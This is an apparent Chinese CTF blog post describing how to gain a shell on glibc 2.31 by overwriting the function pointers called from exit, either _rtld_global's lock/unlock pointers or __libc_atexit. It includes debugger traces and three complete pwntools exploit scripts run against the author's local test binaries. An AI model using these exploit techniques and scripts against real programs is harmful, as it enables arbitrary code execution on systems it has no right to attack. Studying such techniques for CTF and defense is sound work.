exit hook

狒猩橙發表於2022-01-05

之前經常改 malloc_hook , realloc_hook,free_hook 為 one_gadget 來 get shell ,最近看到一種利用是改 exit hook(winmt師傅告訴我 其實沒有exit hook,它是函式指標)。

改 exit_hook 有兩種改法,一個是改為 one_gadget ,一個是改為 system ,再控制引數。

首先來看看 exit 這個函式裡面究竟是如何呼叫的。(由於網上 libc版本多為 2.23 ,2.27我就用 2.31 的 libc 來做了實驗)

進入 exit 之後我們發現它呼叫了 __run_exit_handlers ,我們單步進入 __run_exit_handlers。

 1    0x7ffff7e09bc5 <exit+5>       pop    rax
 2    0x7ffff7e09bc6 <exit+6>       mov    ecx, 1
 3    0x7ffff7e09bcb <exit+11>      mov    edx, 1
 4    0x7ffff7e09bd0 <exit+16>      lea    rsi, [rip + 0x1a1b41]         <0x7ffff7fab718>
 5    0x7ffff7e09bd7 <exit+23>      sub    rsp, 8
 60x7ffff7e09bdb <exit+27>      call   __run_exit_handlers                <__run_exit_handlers>
 7         rdi: 0x0
 8         rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0
 9         rdx: 0x1
10         rcx: 0x1
11  
12    0x7ffff7e09be0 <on_exit>      endbr64 
13    0x7ffff7e09be4 <on_exit+4>    push   r12
14    0x7ffff7e09be6 <on_exit+6>    push   rbp
15    0x7ffff7e09be7 <on_exit+7>    push   rbx
16    0x7ffff7e09be8 <on_exit+8>    test   rdi, rdi

我們發現 __run_exit_handlers 又會呼叫 _dl_fini 函式,我們再單步進入。

1    0x7ffff7e1ea0a <__run_exit_handlers+218>    mov    rdi, qword ptr [rax + 0x20]
2    0x7ffff7e1ea0e <__run_exit_handlers+222>    mov    qword ptr [rax + 0x10], 0
3    0x7ffff7e1ea16 <__run_exit_handlers+230>    mov    esi, ebp
4    0x7ffff7e1ea18 <__run_exit_handlers+232>    ror    rdx, 0x11
5    0x7ffff7e1ea1c <__run_exit_handlers+236>    xor    rdx, qword ptr fs:[0x30]
60x7ffff7e1ea25 <__run_exit_handlers+245>    call   rdx                           <_dl_fini>
7  
8    0x7ffff7e1ea27 <__run_exit_handlers+247>    jmp    __run_exit_handlers+106                <__run_exit_handlers+106>

看一下 _dl_fini 的原始碼得知,會呼叫 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函式,並且有一個 GL(dl_load_lock) 的傳參。


void
_dl_fini (void)
{
  /* Lots of fun ahead.  We have to call the destructors for all still
     loaded objects, in all namespaces.  The problem is that the ELF
     specification now demands that dependencies between the modules
     are taken into account.  I.e., the destructor for a module is
     called before the ones for any of its dependencies.

     To make things more complicated, we cannot simply use the reverse
     order of the constructors.  Since the user might have loaded objects
     using `dlopen' there are possibly several other modules with its
     dependencies to be taken into account.  Therefore we have to start
     determining the order of the modules once again from the beginning.  */

  /* We run the destructors of the main namespaces last.  As for the
     other namespaces, we pick run the destructors in them in reverse
     order of the namespace ID.  */
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));
 

 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定義:

# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
  GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)

# define __rtld_lock_unlock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif

 

進入之後找到呼叫的兩個關鍵函式  rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,並且在呼叫之前會把某個地址裡的值賦給 rdi。

   0x7ffff7fe0d7d <_dl_fini+45>     lea    rbx, [r12 + r12*8]
   0x7ffff7fe0d81 <_dl_fini+49>     lea    rax, [rip + 0x1c2d8]          <0x7ffff7ffd060>
   0x7ffff7fe0d88 <_dl_fini+56>     shl    rbx, 4
   0x7ffff7fe0d8c <_dl_fini+60>     add    rbx, rax
   0x7ffff7fe0d8f <_dl_fini+63>     jmp    _dl_fini+106                <_dl_fini+106>
    ↓
 ► 0x7ffff7fe0dba <_dl_fini+106>    lea    rdi, [rip + 0x1cba7]          <0x7ffff7ffd968>
   0x7ffff7fe0dc1 <_dl_fini+113>    call   qword ptr [rip + 0x1d1a1]     <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000
   0x7ffff7fe0ec0 <_dl_fini+368>    mov    ecx, 1
   0x7ffff7fe0ec5 <_dl_fini+373>    call   _dl_sort_maps                <_dl_sort_maps>
 
   0x7ffff7fe0eca <_dl_fini+378>    lea    rdi, [rip + 0x1ca97]          <0x7ffff7ffd968>
   0x7ffff7fe0ed1 <_dl_fini+385>    call   qword ptr [rip + 0x1d099]     <rtld_lock_default_unlock_recursive>

那個地址其實是結構體 _rtld_global ,裡的一部分 ,存在於_dl_load_lock 裡,是 _rtld_global._dl_load_lock.mutex.__size的地址。

 1 _dl_load_lock = {
 2     mutex = {
 3       __data = {
 4         __lock = 0,
 5         __count = 0,
 6         __owner = 0,
 7         __nusers = 0,
 8         __kind = 1,
 9         __spins = 0,
10         __elision = 0,
11         __list = {
12           __prev = 0x0,
13           __next = 0x0
14         }
15       },
16       __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
17       __align = 0
18     }
19   },

 由此我們可以想到兩個方法來 get shell 一個是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 為 one_gadget , 另一個更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 為 system ,並且把 _rtld_global._dl_load_lock.mutex的值改為 /bin/sh\x00。

找到他們相對於 _rtld_global 偏移

  _dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>,
  _dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>:    0x0000000000000000    0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>:    0x00007ffff7fd0160    0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000

我分別寫了兩個相應的任意地址寫的漏洞程式來測試是否可行。

第一個改為one_gadget,我放了一個任意地址寫。

exp: _rtld_global 的 ld 的偏移不變,而 ld 與 libc 的偏移也不變,故我們把 libc 與 ld 都載入進去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget))

s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

第二個改為 system 和 /bin/sh\x00 我放了兩個任意地址寫。

exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock)) s.send(b
'/bin/sh\x00') s.interactive()

 

============================================================================================================================

之後winmt師傅告訴我他發現了一個新的小trick,tql tql(我只是 winmt 的搬運工)

關鍵原始碼:


  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)

extern void __run_exit_handlers (int status, struct exit_function_list **listp,
				 bool run_list_atexit)
  attribute_hidden __attribute__ ((__noreturn__));

由這兩行他說可以改掉 __libc_atexit 來實現 get shell ,實際上經過測試確實可行。

優點是任意地址改時比上面的操作簡單,所改函式就在 libc 裡,而不是在 ld 裡。

缺點是無法加引數,能不能成功取決於棧結構是否匹配 one_gadget。

可以用 one_gadget 的那個程式來試試這種方法。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget))

s.interactive()

 

附件 

提取碼:1jsi

 

相關文章